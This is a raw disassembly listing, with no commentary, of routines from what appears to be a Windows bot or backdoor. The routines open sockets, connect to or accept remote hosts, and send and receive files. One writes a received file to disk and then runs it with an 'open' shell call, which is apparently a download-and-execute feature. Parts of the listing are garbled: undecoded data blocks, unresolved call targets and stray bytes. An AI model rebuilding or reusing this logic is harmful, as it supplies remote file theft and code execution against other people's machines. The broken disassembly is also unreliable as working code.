		mov	esi, offset dword_4D63CC


loc_410646:				; CODE XREF: ___:0041068Ej
		mov	eax, [ebp+14h]
		cmp	eax, [ebp-8]
		jge	short loc_410690
		cmp	[esi], bl
		jz	short loc_41067F
		cmp	[ebp+18h], ebx
		jz	short loc_41066B
		cmp	[ebp-4], ebx
		jnz	short loc_41066B
		push	dword ptr [ebp+18h]
		push	esi
		call	sub_411C4F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41067F


loc_41066B:				; CODE XREF: ___:00410655j
					; ___:0041065Aj
		push	1
		push	dword ptr [ebp+10h]
		push	esi
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_401445
		add	esp, 14h


loc_41067F:				; CODE XREF: ___:00410650j
					; ___:00410669j
		inc	dword ptr [ebp+14h]
		add	esi, 80h
		cmp	esi, offset dword_4DA3CC
		jl	short loc_410646


loc_410690:				; CODE XREF: ___:0041064Cj
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_410694	proc near		; CODE XREF: sub_403038+3C07p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4D63CC
		xor	ecx, ecx


loc_41069B:				; CODE XREF: sub_410694+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4DA3CC
		jl	short loc_41069B
		cmp	[esp+arg_C], ecx
		jnz	short loc_4106C9
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_441ADC
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_401445
		add	esp, 14h


loc_4106C9:				; CODE XREF: sub_410694+19j
		push	offset dword_441AF0
		call	sub_410557
		pop	ecx
		retn
sub_410694	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, offset dword_4D63CC


loc_4106DB:				; CODE XREF: ___:004106FCj
		cmp	byte ptr [esi],	0
		jz	short loc_4106F0
		push	dword ptr [esp+8]
		push	esi
		call	sub_411C4F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410702


loc_4106F0:				; CODE XREF: ___:004106DEj
		add	esi, 80h
		cmp	esi, offset dword_4DA3CC
		jl	short loc_4106DB
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410702:				; CODE XREF: ___:004106EEj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
byte_410707	db 55h			; DATA XREF: sub_403038+3CBAo
; ---------------------------------------------------------------------------
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_41075A
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_441B04
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_401445
		add	esp, 14h


loc_41075A:				; CODE XREF: ___:0041073Aj
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_41077A
		lea	eax, [ebp-98h]
		push	eax
		call	sub_4174D0
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_41077A
		mov	[ebp-8], eax


loc_41077A:				; CODE XREF: ___:00410761j
					; ___:00410775j
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4D63CC


loc_410783:				; CODE XREF: ___:004107DBj
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_4107DD
		cmp	byte ptr [esi],	0
		jz	short loc_4107CC
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_4107B2
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_4107B2
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_411C4F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4107CC


loc_4107B2:				; CODE XREF: ___:00410797j
					; ___:0041079Dj
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_401445
		add	esp, 14h


loc_4107CC:				; CODE XREF: ___:0041078Ej
					; ___:004107B0j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4DA3CC
		jl	short loc_410783


loc_4107DD:				; CODE XREF: ___:00410789j
		lea	eax, [ebp-31Ch]
		push	offset dword_441B20
		push	eax
		call	sub_4171D0
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_410817
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_401445
		add	esp, 14h


loc_410817:				; CODE XREF: ___:004107F5j
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_410557
		push	dword ptr [ebp-18h]
		call	sub_40916F
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		db 0CCh
; ---------------------------------------------------------------------------
		imul	dword ptr [esi]
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410836	proc near		; CODE XREF: ___:00410EDEp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4453C8
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_4108B2
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417070
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_445348
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_445388
		cmp	eax, esi
		jnz	short loc_410897
		push	[ebp+arg_0]
		call	dword_4453CC
		test	eax, eax
		jz	short loc_4108B2
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_410897:				; CODE XREF: sub_410836+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4452F0
		cmp	eax, esi
		jnz	short loc_4108B6
		push	edi
		call	dword_4453E0


loc_4108B2:				; CODE XREF: sub_410836+1Bj
					; sub_410836+58j
		mov	eax, esi
		jmp	short loc_4108B8
; ---------------------------------------------------------------------------


loc_4108B6:				; CODE XREF: sub_410836+73j
		mov	eax, edi


loc_4108B8:				; CODE XREF: sub_410836+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_410836	endp

; ---------------------------------------------------------------------------
dword_4108BC	dd 0B8EC8B55h, 11B4h, 7557E8h, 8458B00h, 6A575653h, 59F08B6Dh
					; DATA XREF: sub_403038+9EDo
		dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
		dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
		dd 4C858D52h, 68FFFFEEh, 441B3Ch, 68C2E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 16E85350h, 83FFFF0Bh, 858D14C4h,	0FFFFEE4Ch
		dd 0FC19E850h, 75FFFFFFh, 8829E8F0h, 5959FFFFh,	0F6B2E856h
		dd 6890022Eh, 4DA3D4h, 3088E853h, 83590000h, 7559FFF8h
		dd 4C858D59h, 68FFFFEEh, 441B60h, 685EE850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 0B2E85350h, 83FFFF0Ah, 858D14C4h, 0FFFFEE4Ch
		dd 0FBB5E850h, 5359FFFFh, 53E015FFh, 75FF0044h,	87BDE8F0h
		dd 5659FFFFh, 0F646E890h, 646A022Eh, 0FBD7E890h, 0FF330227h
		dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 99E85057h, 83000066h
		dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 536015FFh,	0C0850044h
		dd 858D387Eh, 0FFFFEE4Ch, 441B9068h, 0D1E85000h, 8D00007Ah
		dd 0FFEE4C85h, 0C3E850FFh, 8300002Dh, 0C0850CC4h, 646A1474h
		dd 0FB7FE890h, 0A6A0227h, 0FF867AE8h, 59C085FFh, 858DA375h
		dd 0FFFFEE4Ch, 441B9468h, 99E85000h, 39000067h,	5959F87Dh
		dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
		dd 9EFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh, 0FFFAF2E8h
		dd 0FF5359FFh, 4453E015h, 0F075FF00h, 0FF86FAE8h, 905759FFh
		dd 2EF583E8h
		db 2
; ---------------------------------------------------------------------------


loc_410A7D:				; DATA XREF: sub_403038+2CB5o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4453C8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_410ACB
		push	offset unk_441BC8
		jmp	loc_410C84
; ---------------------------------------------------------------------------


loc_410ACB:				; CODE XREF: ___:00410ABFj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_417070
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_445348
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_445374
		test	eax, eax
		jz	short loc_410B09
		push	offset unk_441BEC
		jmp	loc_410C84
; ---------------------------------------------------------------------------


loc_410B09:				; CODE XREF: ___:00410AFDj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4452EC
		push	dword ptr [ebp-2Eh]
		call	dword_445278
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_414BE0
		pop	ecx


loc_410B3B:				; CODE XREF: ___:00410B6Cj
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_410B4E
		push	5Fh
		pop	eax
		jmp	short loc_410B51
; ---------------------------------------------------------------------------


loc_410B4E:				; CODE XREF: ___:00410B47j
		movsx	eax, al


loc_410B51:				; CODE XREF: ___:00410B4Cj
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_414BE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_410B3B
		push	ebx
		push	edi
		call	dword_445370
		test	eax, eax
		jz	short loc_410B84
		push	offset unk_441C10
		jmp	loc_410C84
; ---------------------------------------------------------------------------


loc_410B84:				; CODE XREF: ___:00410B78j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 2760000h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_410BAE
		push	offset unk_441C34
		jmp	loc_410C84
; ---------------------------------------------------------------------------


loc_410BAE:				; CODE XREF: ___:00410BA2j
		push	esi
		push	eax
		nop
		call	near ptr 2750B9Bh
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40267D
		pop	ecx
		push	eax
		call	dword_445388
		push	eax
		call	dword_445344
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_441C54
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_401445
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_445330
		test	eax, eax
		jg	short loc_410C5E
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_441C6C
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_401445
		jmp	loc_410D82
; ---------------------------------------------------------------------------


loc_410C5E:				; CODE XREF: ___:00410C3Cj
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4453DC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_410C97
		push	offset unk_441C84


loc_410C84:				; CODE XREF: ___:00410AC6j
					; ___:00410B04j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4171D0
		pop	ecx
		pop	ecx
		jmp	loc_410D85
; ---------------------------------------------------------------------------


loc_410C97:				; CODE XREF: ___:00410C7Dj
		push	edi
		call	dword_4453E0
		cmp	[ebp+8], esi
		jz	loc_410D49
		mov	edi, 400h


loc_410CAC:				; CODE XREF: ___:00410D40j
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_410CB9
		mov	[ebp-4], eax


loc_410CB9:				; CODE XREF: ___:00410CB4j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_417070
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 27A0000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2730000h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_445398
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_445360
		cmp	eax, ebx
		jl	loc_410DDE
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_410DDE
		sub	[ebp+8], eax
		jnz	loc_410CAC
		mov	edi, [ebp-18h]


loc_410D49:				; CODE XREF: ___:00410CA1j
		push	dword ptr [ebp-8]
		nop
		call	near ptr 267009Bh
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_411586
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4453D4
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_441CD8
		push	eax
		call	sub_4171D0


loc_410D82:				; CODE XREF: ___:00410C59j
		add	esp, 14h


loc_410D85:				; CODE XREF: ___:00410C92j
		cmp	[ebp-50h], esi
		jnz	short loc_410DAA
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_401445
		add	esp, 14h


loc_410DAA:				; CODE XREF: ___:00410D88j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_410557
		cmp	edi, esi
		pop	ecx
		jbe	short loc_410DC2
		push	edi
		call	dword_4453E0


loc_410DC2:				; CODE XREF: ___:00410DB9j
		push	dword ptr [ebp-1F8h]
		call	dword_4453E0
		push	dword ptr [ebp-58h]
		call	sub_40916F
		pop	ecx
		push	esi
		nop
		call	near ptr 2700000h


loc_410DDE:				; CODE XREF: ___:00410D2Cj
					; ___:00410D37j
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_441CA8
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_401445
		push	offset dword_441CC0
		call	sub_410557
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4453E0
		push	dword ptr [ebp-58h]
		call	sub_40916F
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h


loc_410E22:				; DATA XREF: sub_403038+780o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_417E20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset aSS_9	; "%s%s"
		push	eax
		call	sub_4171D0
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2760000h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410EAC
		push	offset unk_441D0C
		jmp	short loc_410EF2
; ---------------------------------------------------------------------------


loc_410EAC:				; CODE XREF: ___:00410EA3j
		push	eax
		call	near ptr 267009Bh
		nop
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_417050
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_410ED4
		push	offset unk_441D40
		jmp	short loc_410EF2
; ---------------------------------------------------------------------------


loc_410ED4:				; CODE XREF: ___:00410ECBj
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_410836
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_410F05
		push	offset unk_441D6C


loc_410EF2:				; CODE XREF: ___:00410EAAj
					; ___:00410ED2j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4171D0
		pop	ecx
		pop	ecx
		jmp	loc_410FFF
; ---------------------------------------------------------------------------


loc_410F05:				; CODE XREF: ___:00410EEBj
		mov	esi, 1000h


loc_410F0A:				; CODE XREF: ___:00410F70j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_445360
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_410FD1
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410F72
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41A110
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_445344
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_445398
		jmp	short loc_410F0A
; ---------------------------------------------------------------------------


loc_410F72:				; CODE XREF: ___:00410F3Aj
		lea	eax, [ebp-4C4h]
		push	offset dword_441D8C
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_401445
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_410557
		push	dword ptr [ebp-4]
		call	sub_414C60
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4453E0
		push	dword ptr [ebp-1Ch]
		call	sub_40916F
		pop	ecx
		push	1
		nop
		call	near ptr 2700000h


loc_410FD1:				; CODE XREF: ___:00410F31j
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_411586
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_441DA4
		push	eax
		call	sub_4171D0
		add	esp, 1Ch


loc_410FFF:				; CODE XREF: ___:00410F00j
		cmp	[ebp-14h], ebx
		jnz	short loc_411024
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_401445
		add	esp, 14h


loc_411024:				; CODE XREF: ___:00411002j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_410557
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_41103F
		push	dword ptr [ebp-4]
		call	sub_414C60
		pop	ecx


loc_41103F:				; CODE XREF: ___:00411034j
		cmp	[ebp+8], ebx
		jbe	short loc_41104D
		push	dword ptr [ebp+8]
		call	dword_4453E0


loc_41104D:				; CODE XREF: ___:00411042j
		push	dword ptr [ebp-1Ch]
		call	sub_40916F
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h


loc_41105D:				; DATA XREF: sub_403038+4E60o
					; sub_403038+5095o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4452F8
		call	dword_44524C
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_4114E9
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 2760000h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_411124
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_441DD0
		push	eax
		call	sub_4171D0
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_411107
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_401445
		add	esp, 14h


loc_411107:				; CODE XREF: ___:004110E5j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_410557
		push	dword ptr [ebp-48h]
		call	sub_40916F
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 2700000h
		nop


loc_411124:				; CODE XREF: ___:004110C5j
		xor	edi, edi
		nop
		call	near ptr 26C05FFh
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_414DB0
		pop	ecx
		mov	[ebp-1Ch], eax


loc_41113E:				; CODE XREF: ___:00411211j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_445254
		cmp	[ebp-34h], esi
		jz	short loc_411182
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41154F
		pop	ecx
		pop	ecx


loc_411182:				; CODE XREF: ___:0041116Fj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 2720000h
		cmp	edi, ebx
		jnb	short loc_4111C0
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_4111AA
		mov	eax, [ebp+8]


loc_4111AA:				; CODE XREF: ___:004111A5j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_4187B0
		add	esp, 0Ch


loc_4111C0:				; CODE XREF: ___:0041119Cj
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_4111CD
		cmp	edi, [ebp-3Ch]
		ja	short loc_411217


loc_4111CD:				; CODE XREF: ___:004111C6j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_4111E7
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_441DF8
		jmp	short loc_4111F7
; ---------------------------------------------------------------------------


loc_4111E7:				; CODE XREF: ___:004111D3j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_441E20


loc_4111F7:				; CODE XREF: ___:004111E5j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_446010
		push	eax
		call	sub_4171D0
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_41113E


loc_411217:				; CODE XREF: ___:004111CBj
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_41126C
		cmp	edi, [ebp-3Ch]
		jz	short loc_41126C
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_441E48
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_401445
		lea	eax, [ebp-510h]
		push	eax
		call	sub_410557
		add	esp, 28h


loc_41126C:				; CODE XREF: ___:00411221j
					; ___:00411226j
		nop
		call	near ptr 26C05FFh
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	near ptr 267009Bh
		nop
		push	dword ptr [ebp-1Ch]
		call	sub_415820
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_4112F6
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_4112F6
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_441E74
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_401445
		lea	eax, [ebp-510h]
		push	eax
		call	sub_410557
		add	esp, 28h


loc_4112F6:				; CODE XREF: ___:0041129Ej
					; ___:004112B0j
		cmp	[ebp-14h], esi
		jz	loc_411536
		cmp	dword ptr [ebp-44h], 1
		jz	loc_4113F1
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_433478
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_433478
		fstp	qword ptr [esp]
		push	offset unk_441E9C
		push	eax
		call	sub_4171D0
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_411371
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_401445
		add	esp, 14h


loc_411371:				; CODE XREF: ___:0041134Fj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_410557
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_411536
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen_2	; "open"
		push	esi
		call	dword_4452B4
		cmp	[ebp-30h], esi
		jnz	loc_411536
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_441EDC
		push	eax
		call	sub_4171D0
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_401445
		lea	eax, [ebp-510h]
		push	eax
		call	sub_410557
		add	esp, 24h
		jmp	loc_411536
; ---------------------------------------------------------------------------


loc_4113F1:				; CODE XREF: ___:00411303j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_433478
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_433478
		fstp	qword ptr [esp]
		push	offset unk_441EF8
		push	eax
		call	sub_4171D0
		add	esp, 1Ch
